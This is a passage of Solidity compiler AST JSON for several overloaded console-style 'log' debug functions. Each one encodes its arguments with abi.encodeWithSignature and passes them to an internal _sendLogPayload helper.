:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":31224,"name":"uint256","nodeType":"ElementaryTypeName","src":"64387:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"64347:51:15"},"returnParameters":{"id":31227,"nodeType":"ParameterList","parameters":[],"src":"64413:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":31263,"nodeType":"FunctionDefinition","src":"64528:192:15","nodes":[],"body":{"id":31262,"nodeType":"Block","src":"64612:108:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c626f6f6c2c737472696e672c737472696e6729","id":31254,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"64662:33:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_475c5c33f91155b7a0e86c9fac7985c60ab58f4bfb411ee9b31d994a7fc95d1f","typeString":"literal_string \"log(address,bool,string,string)\""},"value":"log(address,bool,string,string)"},{"id":31255,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31242,"src":"64697:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":31256,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31244,"src":"64701:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":31257,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31246,"src":"64705:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":31258,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31248,"src":"64709:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_475c5c33f91155b7a0e86c9fac7985c60ab58f4bfb411ee9b31d994a7fc95d1f","typeString":"literal_string \"log(address,bool,string,string)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":31252,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"64638:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":31253,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"64642:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"64638:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":31259,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"64638:74:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":31251,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"64622:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":31260,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"64622:91:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":31261,"nodeType":"ExpressionStatement","src":"64622:91:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"64537:3:15","parameters":{"id":31249,"nodeType":"ParameterList","parameters":[{"constant":false,"id":31242,"mutability":"mutable","name":"p0","nameLocation":"64549:2:15","nodeType":"VariableDeclaration","scope":31263,"src":"64541:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31241,"name":"address","nodeType":"ElementaryTypeName","src":"64541:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31244,"mutability":"mutable","name":"p1","nameLocation":"64558:2:15","nodeType":"VariableDeclaration","scope":31263,"src":"64553:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":31243,"name":"bool","nodeType":"ElementaryTypeName","src":"64553:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":31246,"mutability":"mutable","name":"p2","nameLocation":"64576:2:15","nodeType":"VariableDeclaration","scope":31263,"src":"64562:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":31245,"name":"string","nodeType":"ElementaryTypeName","src":"64562:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":31248,"mutability":"mutable","name":"p3","nameLocation":"64594:2:15","nodeType":"VariableDeclaration","scope":31263,"src":"64580:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":31247,"name":"string","nodeType":"ElementaryTypeName","src":"64580:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"64540:57:15"},"returnParameters":{"id":31250,"nodeType":"ParameterList","parameters":[],"src":"64612:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":31286,"nodeType":"FunctionDefinition","src":"64726:181:15","nodes":[],"body":{"id":31285,"nodeType":"Block","src":"64801:106:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c626f6f6c2c737472696e672c626f6f6c29","id":31277,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"64851:31:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_50ad461db24803fc9b2ba76f072192e0a4d8fbb3667a50c400f504443380890f","typeString":"literal_string \"log(address,bool,string,bool)\""},"value":"log(address,bool,string,bool)"},{"id":31278,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31265,"src":"64884:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":31279,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31267,"src":"64888:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":31280,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31269,"src":"64892:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":31281,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31271,"src":"64896:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_50ad461db24803fc9b2ba76f072192e0a4d8fbb3667a50c400f504443380890f","typeString":"literal_string \"log(address,bool,string,bool)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":31275,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"64827:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":31276,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"64831:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"64827:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":31282,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"64827:72:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":31274,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"64811:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":31283,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"64811:89:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":31284,"nodeType":"ExpressionStatement","src":"64811:89:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"64735:3:15","parameters":{"id":31272,"nodeType":"ParameterList","parameters":[{"constant":false,"id":31265,"mutability":"mutable","name":"p0","nameLocation":"64747:2:15","nodeType":"VariableDeclaration","scope":31286,"src":"64739:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31264,"name":"address","nodeType":"ElementaryTypeName","src":"64739:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31267,"mutability":"mutable","name":"p1","nameLocation":"64756:2:15","nodeType":"VariableDeclaration","scope":31286,"src":"64751:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":31266,"name":"bool","nodeType":"ElementaryTypeName","src":"64751:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":31269,"mutability":"mutable","name":"p2","nameLocation":"64774:2:15","nodeType":"VariableDeclaration","scope":31286,"src":"64760:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":31268,"name":"string","nodeType":"ElementaryTypeName","src":"64760:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":31271,"mutability":"mutable","name":"p3","nameLocation":"64783:2:15","nodeType":"VariableDeclaration","scope":31286,"src":"64778:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":31270,"name":"bool","nodeType":"ElementaryTypeName","src":"64778:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"64738:48:15"},"returnParameters":{"id":31273,"nodeType":"ParameterList","parameters":[],"src":"64801:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":31309,"nodeType":"FunctionDefinition","src":"64913:187:15","nodes":[],"body":{"id":31308,"nodeType":"Block","src":"64991:109:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c626f6f6c2c737472696e672c6164647265737329","id":31300,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"65041:34:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_19fd495659df511498cf8dde03672830bd109ef2d9b9bec18e72190917c328bc","typeString":"literal_string \"log(address,bool,string,address)\""},"value":"log(address,bool,string,address)"},{"id":31301,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31288,"src":"65077:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":31302,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31290,"src":"65081:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":31303,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31292,"src":"65085:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":31304,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31294,"src":"65089:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_19fd495659df511498cf8dde03672830bd109ef2d9b9bec18e72190917c328bc","typeString":"literal_string \"log(address,bool,string,address)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":31298,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"65017:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":31299,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"65021:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"65017:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":31305,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"65017:75:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":31297,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"65001:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":31306,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"65001:92:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":31307,"nodeType":"ExpressionStatement","src":"65001:92:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"64922:3:15","parameters":{"id":31295,"nodeType":"ParameterList","parameters":[{"constant":false,"id":31288,"mutability":"mutable","name":"p0","nameLocation":"64934:2:15","nodeType":"VariableDeclaration","scope":31309,"src":"64926:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31287,"name":"address","nodeType":"ElementaryTypeName","src":"64926:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31290,"mutability":"mutable","name":"p1","nameLocation":"64943:2:15","nodeType":"VariableDeclaration","scope":31309,"src":"64938:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":31289,"name":"bool","nodeType":"ElementaryTypeName","src":"64938:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":31292,"mutability":"mutable","name":"p2","nameLocation":"64961:2:15","nodeType":"VariableDeclaration","scope":31309,"src":"64947:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":31291,"name":"string","nodeType":"ElementaryTypeName","src":"64947:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":31294,"mutability":"mutable","name":"p3","nameLocation":"64973:2:15","nodeType":"VariableDeclaration","scope":31309,"src":"64965:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31293,"name":"address","nodeType":"ElementaryTypeName","src":"64965:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"64925:51:15"},"returnParameters":{"id":31296,"nodeType":"ParameterList","parameters":[],"src":"64991:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":31332,"nodeType":"FunctionDefinition","src":"65106:176:15","nodes":[],"body":{"id":31331,"nodeType":"Block","src":"65175:107:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c626f6f6c2c626f6f6c2c75696e7432353629","id":31323,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"65225:32:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_8c4e5de62881fec144fb423112f08d23c6aca116363a7b195024519470acf22e","typeString":"literal_string \"log(address,bool,bool,uint256)\""},"value":"log(address,bool,bool,uint256)"},{"id":31324,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31311,"src":"65259:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":31325,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31313,"src":"65263:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":31326,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31315,"src":"65267:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":31327,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31317,"src":"65271:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_8c4e5de62881fec144fb423112f08d23c6aca116363a7b195024519470acf22e","typeString":"literal_string \"log(address,bool,bool,uint256)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":31321,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"65201:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":31322,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"65205:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"65201:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":31328,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"65201:73:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":31320,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"65185:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":31329,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"65185:90:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":31330,"nodeType":"ExpressionStatement","src":"65185:90:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"65115:3:15","parameters":{"id":31318,"nodeType":"ParameterList","parameters":[{"constant":false,"id":31311,"mutability":"mutable","name":"p0","nameLocation":"65127:2:15","nodeType":"VariableDeclaration","scope":31332,"src":"65119:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31310,"name":"address","nodeType":"ElementaryTypeName","src":"65119:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31313,"mutability":"mutable","name":"p1","nameLocation":"65136:2:15","nodeType":"VariableDeclaration","scope":31332,"src":"65131:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":31312,"name":"bool","nodeType":"ElementaryTypeName","src":"65131:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":31315,"mutability":"mutable","name":"p2","nameLocation":"65145:2:15","nodeType":"VariableDeclaration","scope":31332,"src":"65140:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":31314,"name":"bool","nodeType":"ElementaryTypeName","src":"65140:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":31317,"mutability":"mutable","name":"p3","nameLocation":"65157:2:15","nodeType":"VariableDeclaration","scope":31332,"src":"65149:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":31316,"name":"uint256","nodeType":"ElementaryTypeName","src":"65149:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"65118:42:15"},"returnParameters":{"id":31319,"nodeType":"ParameterList","parameters":[],"src":"65175:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":31355,"nodeType":"FunctionDefinition","src":"65288:181:15","nodes":[],"body":{"id":31354,"nodeType":"Block","src":"65363:106:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c626f6f6c2c626f6f6c2c737472696e6729","id":31346,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"65413:31:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_dfc4a2e8c56809b44edbbc6d92d0a8441e551ad5387596bf8b629c56d9a91300","typeString":"literal_string \"log(address,bool,bool,string)\""},"value":"log(address,bool,bool,string)"},{"id":31347,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31334,"src":"65446:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":31348,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31336,"src":"65450:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":31349,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31338,"src":"65454:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":31350,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31340,"src":"65458:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_dfc4a2e8c56809b44edbbc6d92d0a8441e551ad5387596bf8b629c56d9a91300","typeString":"literal_string \"log(address,bool,bool,string)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":31344,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"65389:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":31345,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"65393:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"65389:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":31351,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"65389:72:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":31343,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"65373:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":31352,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"65373:89:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":31353,"nodeType":"ExpressionStatement","src":"65373:89:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"65297:3:15","parameters":{"id":31341,"nodeType":"ParameterList","parameters":[{"constant":false,"id":31334,"mutability":"mutable","name":"p0","nameLocation":"65309:2:15","nodeType":"VariableDeclaration","scope":31355,"src":"65301:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31333,"name":"address","nodeType":"ElementaryTypeName","src":"65301:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31336,"mutability":"mutable","name":"p1","nameLocation":"65318:2:15","nodeType":"VariableDeclaration","scope":31355,"src":"65313:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":31335,"name":"bool","nodeType":"ElementaryTypeName","src":"65313:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":31338,"mutability":"mutable","name":"p2","nameLocation":"65327:2:15","nodeType":"VariableDeclaration","scope":31355,"src":"65322:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":31337,"name":"bool","nodeType":"ElementaryTypeName","src":"65322:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":31340,"mutability":"mutable","name":"p3","nameLocation":"65345:2:15","nodeType":"VariableDeclaration","scope":31355,"src":"65331:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":31339,"name":"string","nodeType":"ElementaryTypeName","src":"65331:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"65300:48:15"},"returnParameters":{"id":31342,"nodeType":"ParameterList","parameters":[],"src":"65363:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":31378,"nodeType":"FunctionDefinition","src":"65475:170:15","nodes":[],"body":{"id":31377,"nodeType":"Block","src":"65541:104:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c626f6f6c2c626f6f6c2c626f6f6c29","id":31369,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"65591:29:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_cac434792b973db16714db96d2aeda353b2253f27255abe42b9960b2dc550634","typeString":"literal_string \"log(address,bool,bool,bool)\""},"value":"log(address,bool,bool,bool)"},{"id":31370,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31357,"src":"65622:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":31371,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31359,"src":"65626:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":31372,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31361,"src":"65630:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":31373,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31363,"src":"65634:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_cac434792b973db16714db96d2aeda353b2253f27255abe42b9960b2dc550634","typeString":"literal_string 